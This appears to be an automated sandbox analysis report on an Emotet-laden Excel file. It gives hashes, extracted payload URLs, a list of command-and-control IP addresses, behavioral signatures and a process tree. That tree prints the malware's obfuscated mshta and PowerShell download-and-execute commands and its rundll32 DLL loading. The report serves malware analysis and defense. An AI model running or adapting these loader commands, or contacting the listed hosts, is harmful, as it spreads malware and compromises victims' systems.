Analysis
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max time kernel
147s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
21-01-2022 09:40
Behavioral task
behavioral1
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win10v2004-en-20220112
General
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Target
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
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Size
71KB
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MD5
21fc12ef8a4a4ba5b38a303fa7e70c08
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SHA1
5700a2231371b289eae19ce62e1a73457ee582c4
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SHA256
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
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SHA512
8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
Malware Config
Extracted
http://0xb907d607/fer/fe2.html
Extracted
http://185.7.214.7/fer/fe2.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2960 1972 cmd.exe 52 -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid Process procid_target PID 1996 created 2880 1996 WerFault.exe 64 -
Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid Process 38 2880 mshta.exe 39 3688 powershell.exe 41 3688 powershell.exe 67 4040 rundll32.exe 69 4040 rundll32.exe -
Downloads MZ/PE file
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Sets service image path in registry 2 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exepid Process 1140 rundll32.exe 1748 rundll32.exe 2184 rundll32.exe 4040 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc Process File opened for modification C:\Windows\SysWOW64\Jdowqhbcwm\ftntgvvm.bfq rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 2944 2880 WerFault.exe 64 -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEWerFault.exedescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
EXCEL.EXEWerFault.exedescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Modifies data under HKEY_USERS 41 IoCs
Processes:
WaaSMedicAgent.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 1972 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid Process 3688 powershell.exe 3688 powershell.exe 2944 WerFault.exe 2944 WerFault.exe 4040 rundll32.exe 4040 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 3688 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid Process 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE 1972 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exeWerFault.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid Process procid_target PID 1972 wrote to memory of 2960 1972 EXCEL.EXE 62 PID 1972 wrote to memory of 2960 1972 EXCEL.EXE 62 PID 2960 wrote to memory of 2880 2960 cmd.exe 64 PID 2960 wrote to memory of 2880 2960 cmd.exe 64 PID 2880 wrote to memory of 3688 2880 mshta.exe 67 PID 2880 wrote to memory of 3688 2880 mshta.exe 67 PID 1996 wrote to memory of 2880 1996 WerFault.exe 64 PID 1996 wrote to memory of 2880 1996 WerFault.exe 64 PID 3688 wrote to memory of 1608 3688 powershell.exe 74 PID 3688 wrote to memory of 1608 3688 powershell.exe 74 PID 1608 wrote to memory of 1140 1608 cmd.exe 75 PID 1608 wrote to memory of 1140 1608 cmd.exe 75 PID 1608 wrote to memory of 1140 1608 cmd.exe 75 PID 1140 wrote to memory of 1748 1140 rundll32.exe 78 PID 1140 wrote to memory of 1748 1140 rundll32.exe 78 PID 1140 wrote to memory of 1748 1140 rundll32.exe 78 PID 1748 wrote to memory of 2184 1748 rundll32.exe 79 PID 1748 wrote to memory of 2184 1748 rundll32.exe 79 PID 1748 wrote to memory of 2184 1748 rundll32.exe 79 PID 2184 wrote to memory of 4040 2184 rundll32.exe 80 PID 2184 wrote to memory of 4040 2184 rundll32.exe 80 PID 2184 wrote to memory of 4040 2184 rundll32.exe 80
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1748 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jdowqhbcwm\ftntgvvm.bfq",PkZBNRMRRWiXuR8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jdowqhbcwm\ftntgvvm.bfq",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:4040
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2880 -s 17204⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵PID:928
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 276553179ffdd4f5c29c3d44fc6bfc6a C25sboTFCk+5gsrP8JQ7OQ.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:3764
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 364 -p 2880 -ip 28801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1996
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
21b53d3a04fc0f497bf1e60164d2e6e4
SHA168f9ac8ed0269b0ae9af50d97ce59421843e69ea
SHA2565821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa
SHA512344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b
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MD5
21b53d3a04fc0f497bf1e60164d2e6e4
SHA168f9ac8ed0269b0ae9af50d97ce59421843e69ea
SHA2565821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa
SHA512344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b
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MD5
21b53d3a04fc0f497bf1e60164d2e6e4
SHA168f9ac8ed0269b0ae9af50d97ce59421843e69ea
SHA2565821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa
SHA512344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b
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MD5
21b53d3a04fc0f497bf1e60164d2e6e4
SHA168f9ac8ed0269b0ae9af50d97ce59421843e69ea
SHA2565821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa
SHA512344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b
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MD5
21b53d3a04fc0f497bf1e60164d2e6e4
SHA168f9ac8ed0269b0ae9af50d97ce59421843e69ea
SHA2565821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa
SHA512344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b